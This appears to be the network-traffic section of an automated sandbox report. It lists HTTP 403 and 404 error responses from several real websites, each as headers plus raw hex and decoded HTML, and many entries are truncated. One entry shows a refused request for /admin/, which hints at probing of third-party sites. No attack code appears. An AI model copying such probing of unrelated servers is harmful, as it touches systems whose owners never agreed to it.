Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Sun, 26 Nov 2023 05:59:40 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveKeep-Alive: timeout=20Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:39 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://lumaruniformes.com/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: UpgradeVary: Accept-EncodingContent-Encoding: gzipContent-Length: 13939Content-Type: text/html; charset=UTF-8Data Raw: 1f 8b 08 00 00 00 00 00 00 03 d5 b2 db 76 e3 c6 96 25 fa 9c fa 0a 24 7c 9c 12 bd 89 1b 6f 92 28 51 1e de be d4 71 1f df da 69 d7 ae 3e 96 07 47 00 58 00 22 15 88 80 23 02 a4 98 da fa 97 d3 8f f5 d0 0f 3d ea 0f da 3f 76 16 2e 24 41 12 90 94 99 ca 5d bb 7c 11 03 eb 32 d7 5c 73 cd cb 97 a1 08 f4 2a 03 23 d1 29 bb 3a ba 2c 7e 0c 46 78 3c 33 41 59 df ff 9b 59 c4 80 84 57 47 2f 2e 53 d0 c4 08 12 22 15 e8 99 f9 eb 2f df 58 67 e6 26 ce 49 0a 33 73 41 61 99 09 a9 4d 23 10 5c 03 c7 ba 25 0d 75 32 0b 61 41 03 b0 ca 8f be 41 39 d5 94 30 4b 05 84 c1 cc 2b 51 18 e5 37 86 04 36 33 33 29 22 ca c0 34 12 09 d1 cc 4c b4 ce d4 d4 71 e2 34 8b 6d 21 63 e7 36 e2 8e 57 35 69 aa 19 5c fd 20 0c 05 06 f0 62 a6 fc f3 3f 90 bf 91 fd f9 3f 63 ca 89 f1 ea 93 b3 81 e7 5d 18 df e5 29 91 c6 af 9c 46 42 a6 a0 2e 9d aa f3 a8 41 fe 58 0a 5f 68 75 bc a1 7e 9c 92 5b 8b a6 24 06 2b 93 50 ac 36 65 44 c6 70 6c 38 d8 b8 e5 4b 98 06 c9 89 46 c6 85 94 18 c8 32 46 03 a2 a9 e0 8e 54 ea 2f b7 29 c3 54 31 70 66 ee 11 31 5e 49 f2 47 2e 2e 8c 6f 00 c2 fd 8d 59 51 9b af 4b ed 40 a4 4e 84 65 8e f9 31 08 fc fc fa b5 11 82 c1 84 42 01 52 dc 9f 48 2a d4 13 28 e1 ff 45 b9 6a 72 53 81 a4 99 be 3a 5a 52 1e 8a a5 3d 5f 66 90 8a 37 f4 35 68 4d 79 ac 8c 99 71 67 fa 44 c1 af 92 99 d3 1a fc da b9 76 94 bd 2c 4e 7c ed 94 b2 ab 6b 04 97 70 ed 94 cd d7 8e 37 b2 5d db bd 76 4e 07 b7 a7 83 6b c7 ec 9b 70 ab b1 df ce 78 8c 1f 6a 11 bf 1f 1e 36 96 68 f8 fb 75 05 88 af e2 5b e4 32 00 73 7a 67 a2 25 50 ce b2 ad c6 2f e1 0f d5 b8 76 96 99 45 79 c0 f2 b0 18 f7 46 95 81 b2 d1 c2 5b 01 ee 6c a7 94 db 6f d4 e7 0b 90 b3 89 3d b2 3d f3 fe fe e2 c8 f9 ec a5 f1 4b 42 95 11 51 06 06 fe 92 5c 0b 2b 06 0e 12 07 87 c6 67 ce d1 cb 28 e7 41 71 d3 13 da e7 bd bb 05 9e 51 f4 55 1f 2e d6 71 23 38 81 de 9d 96 ab 32 a7 67 77 2a cf 32 21 f5 2f a0 b4 9a 42 5f 53 64 a9 49 9a 4d 4f 38 2c 8d af 10 b8 67 2f 08 cb e1 c7 e8 a4 77 7f a1 40 29 84 79 ad 85 44 b5 6c 05 fa 5b dc f9 44 f4 ff db eb 1f 7f b0 95 96 78 3b 1a ad 4e 74 af 77 8f 72 04 49 31 ee fe 7e 33 3e 3b c1 19 05 35 b0 03 5c 55 fe 0c 81 3e 71 fb 6e 1f bf 09 5f 10 bc 06 0d 75 b2 fd 4c 80 c6 89 ee 61 00 b7 66 bf e0 35 4f 34 96 bb bd 8b 6a 81 82 e5 af 94 eb e1 e0 0b 29 c9 ea 04 ec 18 39 15 a7 44 ee e4 29 d0 76 88 85 bd be 9c 9d 7c 00 27 5e 72 ea 3f 17 9b de 85 04 9d 4b 6e 68 1b d0 04 ab 93 cd 5d 51 be de 5d 9d 84 d9 6c 26 7f d3 bf df f7 b6 02 e7 6b 81 d5 92 16 f2 63 75 80 8e 32 23 46 62 73 5a 37 16 30 e6 75 1e 9e 0d 03 fc 1b 45 c3 eb 3c 02 37 ba ce 07 ae 1b e2 df 09 39 ad 22 66 67 99 bf 53 d6 fb fc a5 37 7d b9 0b 1b 46 a4 f1 1e 9a fb a9 0a a4 51 d0 7b f5 ea e5 3e b3 11 fe f5 47 2e fe 0d 26 a7 8d f7
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:40 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.1e-fips mod_fcgid/2.3.9 PHP/5.4.16Content-Length: 204Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 61 64 6d 69 6e 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /admin/ was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: Sucuri/CloudproxyDate: Sun, 26 Nov 2023 05:59:40 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveX-Sucuri-ID: 14013X-XSS-Protection: 1; mode=blockX-Frame-Options: SAMEORIGINX-Content-Type-Options: nosniffExpires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cacheSet-Cookie: PHPSESSID=38bf644626892adcd16b79fed6cf8f99; path=/Vary: Accept-EncodingX-Sucuri-Cache: MISSData Raw: 34 31 36 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 0a 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 69 65 3d 65 64 67 65 22 3e 0a 0a 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 65 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 54 68 69 73 20 70 61 67 65 20 63 61 6e 6e 6f 74 20 62 65 20 66 6f 75 6e 64 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 20 20 0a 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 76 6e 64 2e 6d 69 63 72 6f 73 6f 66 74 2e 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 63 6f 69 6d 62 72 61 75 73 61 2e 63 6f 6d 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 3f 31 36 33 33 33 35 34 37 34 30 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 63 6f 69 6d 62 72 61 75 73 61 2e 63 6f 6d 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 3f 31 36 33 33 33 35 34 37 34 30 22 20 2f 3e 0a 0a 0a 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 63 6f 69 6d 62 72 61 75 73 61 2e 63 6f 6d 2f 74 68 65 6d 65 73 2f 61 6d 61 7a 6f 6e 61 73 2f 61 73 73 65 74 73 2f 63 73 73 2f 74 68 65 6d 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 2f 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 63 6f 69 6d 62 72 61 75 73 61 2e 63 6f 6d 2f 74 68 65 6d 65 73 2f 61 6d 61 7a 6f 6e 61 73 2f 61 73 73 65 74 73 2f 63 73 73 2f 71 75 69 63 6b 2d 6f 72 64 65 72 Data Ascii: 416<!doctype html><html lang="en"> <head> <meta charset="utf-8"><meta http-equiv="x-ua-compatible" content="ie=edge"> <title>404 e
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:41 GMTContent-Type: text/html; charset=utf-8Content-Length: 125Connection: keep-aliveServer: ip-10-123-122-215.ec2.internalX-Request-Id: a8075867-cb03-4190-9960-1b8336cbf9eaData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:41 GMTContent-Type: text/html; charset=utf-8Content-Length: 125Connection: keep-aliveServer: ip-10-123-122-17.ec2.internalX-Request-Id: e0e5031e-5c15-4c07-9f60-ad8d31eb8c0aData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:41 GMTContent-Type: text/html; charset=utf-8Content-Length: 125Connection: keep-aliveServer: ip-10-123-123-133.ec2.internalX-Request-Id: eae44be1-86d7-44c1-9a6e-538d81bea93aData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:41 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 271Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 62 76 68 72 73 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at bvhrs.com Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:41 GMTServer: ApacheUpgrade: h2,h2cConnection: UpgradeAccept-Ranges: bytesVary: Accept-EncodingCache-Control: no-cache, no-store, must-revalidatePragma: no-cacheExpires: 0Content-Length: 1699Content-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 46 69 6c 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 62 6f 64 79 20 7b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 65 65 65 3b 0a 7d 0a 0a 62 6f 64 79 2c 20 68 31 2c 20 70 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 20 22 53 65 67 6f 65 20 55 49 22 2c 20 53 65 67 6f 65 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 41 72 69 61 6c 2c 20 22 4c 75 63 69 64 61 20 47 72 61 6e 64 65 22 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 0a 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 20 61 75 74 6f 3b 0a 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 20 61 75 74 6f 3b 0a 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 31 37 37 70 78 3b 0a 20 20 6d 61 78 2d 77 69 64 74 68 3a 20 31 31 37 30 70 78 3b 0a 20 20 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 31 35 70 78 3b 0a 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 7d 0a 0a 2e 72 6f 77 3a 62 65 66 6f 72 65 2c 20 2e 72 6f 77 3a 61 66 74 65 72 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 74 61 62 6c 65 3b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 20 22 3b 0a 7d 0a 0a 2e 63 6f 6c 2d 6d 64 2d 36 20 7b 0a 20 20 77 69 64 74 68 3a 20 35 30 25 3b 0a 7d 0a 0a 2e 63 6f 6c 2d 6d 64 2d 70 75 73 68 2d 33 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 32 35 25 3b 0a 7d 0a 0a 68 31 20 7b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 34 38 70 78 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 32 30 70 78 20 30 3b 0a 7d 0a 0a 2e 6c 65 61 64 20 7b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 31 70 78 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 32 30 30 3b 0a 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 32 30 70 78 3b 0a 7d 0a 0a 70 20 7b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 31 30 70 78 3b 0a 7d 0a 0a 61 20 7b 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:41 GMTContent-Type: text/html; charset=utf-8Content-Length: 125Connection: keep-aliveServer: ip-10-123-122-137.ec2.internalX-Request-Id: a78b2832-5f62-455e-9566-63c3c97326deData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:41 GMTContent-Type: text/html; charset=utf-8Content-Length: 125Connection: keep-aliveServer: ip-10-123-123-181.ec2.internalX-Request-Id: c91faefd-56a1-4ffa-88fa-926ab46c9e3fData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:40 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://www.grg17geblergasse.at/wp-json/>; rel="https://api.w.org/"Transfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 33 64 39 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 64 65 2d 44 45 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 72 67 31 37 67 65 62 6c 65 72 67 61 73 73 65 2e 61 74 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 09 09 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 63 6c 61 73 73 4e 61 6d 65 20 3d 20 27 6a 73 27 3b 0a 09 3c 2f 73 63 72 69 70 74 3e 0a 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 47 52 47 31 37 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 09 09 09 6c 65 74 20 6a 71 75 65 72 79 50 61 72 61 6d 73 3d 5b 5d 2c 6a 51 75 65 72 79 3d 66 75 6e 63 74 69 6f 6e 28 72 29 7b 72 65 74 75 72 6e 20 6a 71 75 65 72 79 50 61 72 61 6d 73 3d 5b 2e 2e 2e 6a 71 75 65 72 79 50 61 72 61 6d 73 2c 72 5d 2c 6a 51 75 65 72 79 7d 2c 24 3d 66 75 6e 63 74 69 6f 6e 28 72 29 7b 72 65 74 75 72 6e 20 6a 71 75 65 72 79 50 61 72 61 6d 73 3d 5b 2e 2e 2e 6a 71 75 65 72 79 50 61 72 61 6d 73 2c 72 5d 2c 24 7d 3b 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 3d 6a 51 75 65 72 79 2c 77 69 6e 64 6f 77 2e 24 3d 6a 51 75 65 72 79 3b 6c 65 74 20 63 75 73 74 6f 6d 48 65 61 64 53 63 72 69 70 74 73 3d 21 31 3b 6a 51 75 65 72 79 2e 66 6e 3d 6a 51 75 65 72 79 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 7d 2c 24 2e 66 6e 3d 6a 51 75 65 72 79 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 7d 2c 6a 51 75 65 72 79 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 72 29 7b 69 66 28 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 29 72 65 74 75 72 6e 20 6a 51 75 65 72 79 3d 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 2c 24 3d 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 2c 63 75 73 74 6f 6d 48 65 61 64 53 63 72 69 70 74 73 3d 21 30 2c 6a 51 75 65 72 79 2e 6e 6f 43 6f 6e 66 6c 69 63 74 7d 2c 6a 51 75 65 72 79 2e 72 65 61 64 79 3d 66 75 6e 63 74 69 6f 6e 28 72 29 7b 6a 71 75 65 72 79 50 61 72 61 6d 73 3d 5b 2e 2e 2e 6a 71 75 65 72 79 50 61 72 61 6d 73 2c 72 5d 7d 2c 24 2e 72 65 61 64 79 3d 66 75 6e 63 74 69 6f 6e 28
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:40 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://www.grg17geblergasse.at/wp-json/>; rel="https://api.w.org/"Transfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 33 64 39 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 64 65 2d 44 45 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 72 67 31 37 67 65 62 6c 65 72 67 61 73 73 65 2e 61 74 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 09 09 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 63 6c 61 73 73 4e 61 6d 65 20 3d 20 27 6a 73 27 3b 0a 09 3c 2f 73 63 72 69 70 74 3e 0a 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 47 52 47 31 37 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 